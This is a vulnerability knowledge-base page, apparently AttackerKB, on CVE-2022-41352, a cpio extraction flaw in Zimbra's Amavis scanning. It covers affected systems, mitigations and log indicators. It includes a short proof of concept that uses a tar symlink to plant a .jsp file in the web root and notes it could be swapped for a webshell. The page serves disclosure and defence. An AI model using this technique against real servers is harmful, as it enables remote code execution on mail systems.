Very High
CVE-2022-41352
CVE ID
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CVE-2022-41352
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
An issue was discovered in Zimbra Collaboration (ZCS) 8.8.15 and 9.0. An attacker can upload arbitrary files through amavis via a cpio loophole (extraction to /opt/zimbra/jetty/webapps/zimbra/public) that can lead to incorrect access to any other user accounts. Zimbra recommends pax over cpio. Also, pax is in the prerequisites of Zimbra on Ubuntu; however, pax is no longer part of a default Red Hat installation after RHEL 6 (or CentOS 6). Once pax is installed, amavis automatically prefers it over cpio.
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Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
This is I think the 6th major issue with Zimbra this year. It’s not really their fault, they use Amavis which uses cpio
which is vulnerable to CVE-2015-1197, but the attack surface for incoming emails is HUGE.
Not to mention, this is one of several vulnerabilities this year that was being exploited in the wild before being discovered, which means Zimbra is an active target for the Bad Guys.
If you’re still using Zimbra, you might want to seriously reconsider. I betcha there are others, and they’re probably being exploited.
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Technical Analysis
A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
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General Information
Vendors
- zimbra
Products
- collaboration 8.8.15,
- collaboration 9.0.0
Exploited in the Wild
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Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
Description
On September 25, 2022, CVE-2022-41352 was filed for Zimbra Collaboration Suite. The vulnerability is a remote code execution flaw that arises from unsafe usage of the cpio
utility, specifically from Zimbra’s antivirus engine’s (Amavis) use of the vulnerable cpio
utility to scan inbound emails. CVE-2022-41352 is effectively identical to CVE-2022-30333, just a different file format (.cpio
and .tar
as opposed to .rar
).
To exploit this vulnerability, an attacker would email a .cpio
, .tar
, or .rpm
to an affected server. When Amavis inspects it for malware, it uses cpio
to extract the file. Since cpio
has no mode where it can be securely used on untrusted files (as discussed in our CVE-2015-1197 writeup), the attacker can write to any path on the filesystem that the zimbra
user can access. The most likely outcome is for the attacker to plant a shell in the web root to gain remote code execution, although other avenues likely exist.
As of October 2022, CVE-2022-41352 is not patched but Zimbra has acknowledged it in a blog post, where they recommend mitigations (that we detail below). It was discovered in the wild due to active exploitation.
Affected Systems
To be exploitable, two conditions must exist:
- A vulnerable version of
cpio
must be installed, which is the case on basically every system (as discussed in our CVE-2015-1197 writeup)
- The
pax
utility must not be installed, as Amavisd preferspax
andpax
is not vulnerable
Unfortunately, pax
is not installed by default on Red Hat-based distros, and therefore they are vulnerable by default. We tested all (current) Linux distros that Zimbra officially supports in their default configurations, and determined that:
- Oracle Linux 8 – vulnerable
- Red Hat Enterprise Linux 8 – vulnerable
- Rocky Linux 8 – vulnerable
- CentOS 8 – vulnerable
- Ubuntu 20.04 – not vulnerable (
pax
is installed by default)
- Ubuntu 18.04 – not vulnerable (
pax
is installed,cpio
has Ubuntu’s custom patch)
Zimbra says that their plan is to remove the dependency on cpio
entirely by making pax
a prerequisite of for Zimbra Collaboration Suite. Moving to pax
is probably the best option, since cpio
cannot be used securely since most major operating systems removed a security patch.
PoC
The following demonstration creates a .jsp
file in the web root that prints “Hello world!” – note that this could easily be replaced with a .jsp
webshell generated by msfvenom
:
$ sudo mkdir -p /opt/zimbra/jetty_base/webapps/zimbra/public $ sudo chown ron.ron /opt/zimbra/jetty_base/webapps/zimbra/public $ ln -s /opt/zimbra/jetty_base/webapps/zimbra/public ./akbdemo $ echo '<% out.println("Hello world!"); %>' > akbdemo/akbtest.jsp $ tar -cf akbdemo.tar akbdemo akbdemo/akbtest.jsp $ tar -tvf akbdemo.tar lrwxrwxrwx ron/ron 0 2022-10-06 09:25 akbdemo -> /opt/zimbra/jetty_base/webapps/zimbra/public -rw-r--r-- ron/ron 35 2022-10-06 09:26 akbdemo/akbtest.jsp [Email akbtest.tar to the target Zimbra server] $ curl -k 'https://172.16.166.158/public/akbtest.jsp' Hello world!
Privilege Escalation
In addition to this cpio
0-day vulnerability, Zimbra also suffers from a 0-day privilege escalation vulnerability, which has a Metasploit module. That means that this 0-day in cpio
can lead directly to a remote root compromise of Zimbra Collaboration Suite servers!
Recommendations
We recommend monitoring for updates from Zimbra, as well as applying their recommended workaround, which is to install the pax
archive utility, then reboot!
Amavis will prefer pax
over cpio
if it’s installed.
IoCs
Much like CVE-2022-30333, some evidence can be found in logs, but the attacker has the access required to amend or delete the logs – especially if they escalate to root.
After successful exploitation, the only obvious log entry simply logged the filename in /opt/zimbra/log/mailbox.log
:
/opt/zimbra/log/mailbox.log:2022-10-05 13:56:47,385 INFO [qtp252651381-138:https://172.16.166.158/service/soap/SendMsgRequest] [name=admin@mail.example.org;mid=1;ip=172.16.166.158;port=34994;ua=ZimbraWebClient - GC105 (Linux)/8.8.15_GA_4372;soapId=d22c8e0;] FileUploadServlet - saveUpload(): received Upload: { accountId=ef1decc2-07bc-4679-a3e3-691c5c730c4e, time=Wed Oct 05 13:56:47 EDT 2022, size=512, uploadId=0a35c960-1317-43a9-9864-788492aa322c:51a515fa-204e-4896-88cd-5baf6313ef31, name=test.cpio, path=null }
Scanning that log for .cpio
, .tar
, and .rpm
files might reveal exploitation attempts.
Additionally, the most likely avenue for exploitation is to write a shell to the public web root (/opt/zimbra/jetty_base/webapps/...
), but that shell could easily be deleted after it executes.
References
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CVE ID
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